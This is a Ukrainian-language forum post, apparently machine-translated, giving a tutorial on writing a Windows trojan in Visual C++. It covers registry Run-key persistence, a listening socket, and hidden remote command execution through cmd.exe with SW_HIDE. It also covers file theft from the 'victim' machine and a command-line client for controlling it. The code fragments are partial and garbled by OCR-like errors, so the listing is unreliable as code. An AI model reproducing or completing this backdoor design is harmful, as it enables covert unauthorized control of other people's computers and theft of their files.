Репутація: 0/0
Як створити троян Visual C ++
Для проги нам знадобиться Visual C ++ версії вище п'ятої, а краще C ++,
що входить в комплект Visual Studio .NET. Створюємо blank workspace або solution (в VS
.NET) і додаємо в нього два нових порожніх проекту Win32
Application, сервер і клієнт. Негайно ж міняємо активну конфігурацію
обох проектів на Release. Для цього вибери відповідний пункт в
меню Build. Створив? Дуже добре, тепер заліземо в настройку проектів
(Кликни правою кнопкою мишки на імені проекту і вибери Setting), в
Linker і додамо там до рядка Object / library modules бібліотеку
вінсока wsock32.lib. Без неї наша програма не працюватиме. Зауваж, ці
дії потрібно провести з обома проектами - і з сервером, і з
клієнтом, так як вони обидва будуть використовувати мережеві функції і
відповідно потребуватиме мережевий бібліотеці. Тепер додавай в
проект-сервер новий срр файл, і почнемо.
НАЧНЕМ кодіть
На самому початку програми ми повинні включити заголовки
(Хідер), в яких описані функції використовуються нами. без Хідер
програма видасть тобі хмару помилок і ніколи не запрацює. В данному
випадку у нас тільки один Хідер - описує мережеві функції, з
бібліотеки, яку ми додали трохи раніше.
#include
За допомогою наступних, вкрай важливих для розміру програми рядків, ми
виріжемо все зайве з РЕ-заголовка нашого ехешніка, а також повідомимо
компілятору, що у нас вже є EntryPoint, точка входу. Якщо цього не
зробити, то компілятор замість того, щоб вписати нашу функцію в точку
входу, напише свою, величезну, і розмір програми виросте з 2 до 28
кіло. Помітна різниця? smile Але якщо ти тепер спробуєш запустити
прогу в режимі налагодження, вона, швидше за все, не запрацює.
#pragma comment (linker, / MERGE: .rdata = .text)
# Ргадта comment (linker, / FILEALIGN: 512 /SECTION:.text, EWRX
/ IGNORE: 4078)
# Pragma comment (linker, / ENTRY: WinMain)
Ось ми і підійшли до найголовнішого в програмі - точці входу, функції
якої передається керування після запуску. У неї існує чотири
параметра, жоден з яких нам не знадобиться, тому назва
параметрів я не пишу, а пишу тільки їх тип.
int WINAPI WinMain (HINSTANCE, HINSTANCE.LPSTFUnt)
Далі за допомогою функцій роботи з реєстром ми запишемо в
SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run свій свежескопірованний
файл, щоб він завантажувався при кожному запуску системи. Троян завантажений і
готовий до кругової оборони (атаці smile).
Нарешті ми дісталися до найважливішої ділянки коду, без якого
троян - це не троян. Ділянки, що відповідає за обмін даними жертви з
тобою smile. Як ти вже, напевно, знаєш з статей Horrific'a, для
використання функцій winsoc ^ a його спочатку потрібно форматувати.
У сях це робиться наступним кодом:
if (bind (listetJ5ock, (LPSOCKADDR) addr_Sock, sizegf (struct sockaddr)))
return 0;
A цим рядком ми, нарешті, почнемо СЛУХАТИ порт, тобто відкриємо його
для з'єднань. Якщо бути точним, для одного з'єднання. В першому
параметрі ми передаємо змінну-сокет, який відкриваємо, а в другому
- кількість можливих коннектов, нам більше одного не треба. як і в
випадку c bind'OM, при помилці відключаємо троян.
if (listen (listet_Sock, 1)) return 0;
1) Чекаємо конекту
2) Обробляємо команди
3) При помилку закриваємо існуючі з'єднання
4) Повертаємося кп.1
Команди будуть прийматися у вигляді рядка, перший символ якої
-власне, вибір функції, другий - роздільник, будь-хто, а решта -
це аргумент, який ми передаємо функції нашого трояна. Ось приклад
команди, що посилається клієнтом: Привіт. Троян спочатку прийме перші
два символи і перевірить, чи є у нас функція, призначена на символ m
(Y нас це висновок повідомлення). Потім прийме ще 126 символів і завантажить
нашу функцію. To є троян в циклі приймає за допомогою функції recv з
створеного після конекту сокета hack Sock дані два рази, в перший
буфер 2 байта, і в другій 126. У разі, якщо дані одержати не
вдалося, CommandLoop завершиться командою break, сокет закриється і
сервер знову чекатиме конекту. Розпишемо функції трояна докладніше:
Якщо перший символ m, то виконується функція MessageBox (0, buf, Hacked
smile, 0), де buf - це наш другий буфер.
Якщо перший символ е, то рядок buf виконується через cmd.exe c
параметром / с, для цього запускається функція з такими параметрами
ShellExecuteA (NULL, ореn, cmd.exe, buf_command, NULL, SW_H1DE),
де buf_command - це наш буфер з доданою вперед рядком / с. a
SW_HIDE вказує на те, що жертва не повинна бачити з'являється
консоль. І остання, найскладніша функція, що здійснює скачування
файлу з машини жертви. Вона виконується в разі, якщо перший символ -
це f. Спочатку вона відкриває файл тільки для читання функцією
QpateFile. A потім, якщо файл існує, в циклі посилає по 4096
байтів цього файлу. Якщо ж байтів відіслано менше, значить, це кінець
файлу і цикл переривається. А сигналом для клієнта, що файл закінчився,
буде дисконнект.
В ролі клієнта може виступати будь-яка програма, яка може послати
пакет заданого нами формату жертві. To є сконнектіться з серваке
і виконати команду типу: send (sock, m Неllo, 128,0). Але про всяк
випадок я написав клієнт, який працює з командного рядка, і, по
ідеї, його легко перенести на будь-яку платформу. Посилка команди трояни
здійснюється командою client.exe [ip жертви] [функція] [аргумент],
наприклад: client 127.0.0.1 m Привіт.